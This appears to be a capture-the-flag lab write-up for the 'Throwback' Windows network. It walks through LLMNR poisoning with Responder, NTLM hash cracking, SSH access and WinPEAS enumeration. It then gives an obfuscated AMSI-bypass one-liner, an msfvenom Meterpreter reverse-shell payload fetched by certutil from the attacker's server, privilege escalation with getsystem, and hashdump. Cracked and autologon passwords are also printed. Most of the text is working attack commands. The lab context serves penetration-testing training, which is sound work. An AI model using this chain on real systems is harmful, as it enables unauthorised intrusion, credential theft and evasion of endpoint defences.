LLMNR Poisoning
Poisoning LLMNR/NBT-NS on the Throwback network with Responder to capture a hash, crack it, and use the recovered account to land on THROWBACK-PROD and set up a pivot.
LLMNR = Link-Local Multicast Name Resolution.
NBT-NS = NetBIOS Name Service.
These are Windows domain services that act as an alternative method for host identification. Think of LLMNR like DNS: it lets hosts on the same network use name resolution for other hosts. NBT-NS identifies systems on a network by their NetBIOS name.
Poisoning LLMNR with Responder
Start Responder on the tunnel interface:
sudo responder -I tun0 -rdw -v
After a minute of intercepting traffic, we receive this:
Save this to a text file and run hashcat against it:
hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt
Cracking the password this way was not successful.
Another workaround is to use rules, most notably the OneRuleToRuleThemAll.rule from NotSoSecure. Located in root/Documents/Throwback (THM)/RESPONDER, we apply the rule to this hashcat line:
hashcat -m 5600 PetersJ.hash /usr/share/wordlists/rockyou.txt -r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=,matched.rule
After some time, we crack the password: Throwback317.
SSH into THROWBACK-PROD
Since this password was pulled from a user on THROWBACK-PROD, let's try to SSH into it:
ssh PetersJ@10.200.34.219
Use our cracked password.
We're in. Unfortunately, after typing whoami we discover we're not an administrator, so let's escalate with WinPEAS.
First, enable scripts:
powershell -ep bypass
Next, on our attack box where WinPEAS.exe is saved, serve it over HTTP:
python3 -m http.server 8080
On the victim box, pull it down and run it:
certutil.exe -urlcache -f http://10.50.31.168:8080/winPEASany_ofs.exe winPEASany_ofs.exe
.\winPEASany_ofs.exe
The first thing of note is an auto login:
7eQgx6YzxgG3vC45t5k9
Nothing else useful was found, so let's enumerate the local group to find administrator accounts:
net localgroup administrators
Groundwork for Pivoting
Next we find the IP address for THROWBACK-TIME.throwback.local to use later for pivoting.
Now we want the IP of the Domain Controller:
ipconfig /displaydns
Add THROWBACK-TIME to our hosts file:
echo "10.200.34.176 timekeep.throwback.local" >> /etc/hosts
Now let's start pivoting using THROWBACK-PROD. First, pause the AMSI service with an obfuscated one-liner:
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."AssEmbly"."GETTYPe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."getfiElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sETVaLUE"( ${nULl},${tRuE} )
Next, create a reverse payload and send it to our victim via certutil.exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f exe -o Cleaner.exe
Make sure python3 -m http.server 8080 is running where this file is located. From the victim:
certutil.exe -urlcache -f http://10.50.31.168:8080/Cleaner.exe Cleaner.exe
Now run msfconsole and work through these steps:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 443
set LHOST tun0
exploit -j
Once the victim executes Cleaner.exe, we get a callback:
After some tweaks, we managed to get a callback session. One important thing to NOTE, in order:
- Ensure Responder is killed to free up port 443.
- Download the payload to the victim first.
- Run
exploit -jsecond. - Execute the payload third.
sessions -i #getuidto confirm rolegetsystem- If
NT AUTHORITY\SYSTEMdoesn't happen, start over from step 3 until it does. hashdump- Crack them in hashcat.
Now it's time to pivot.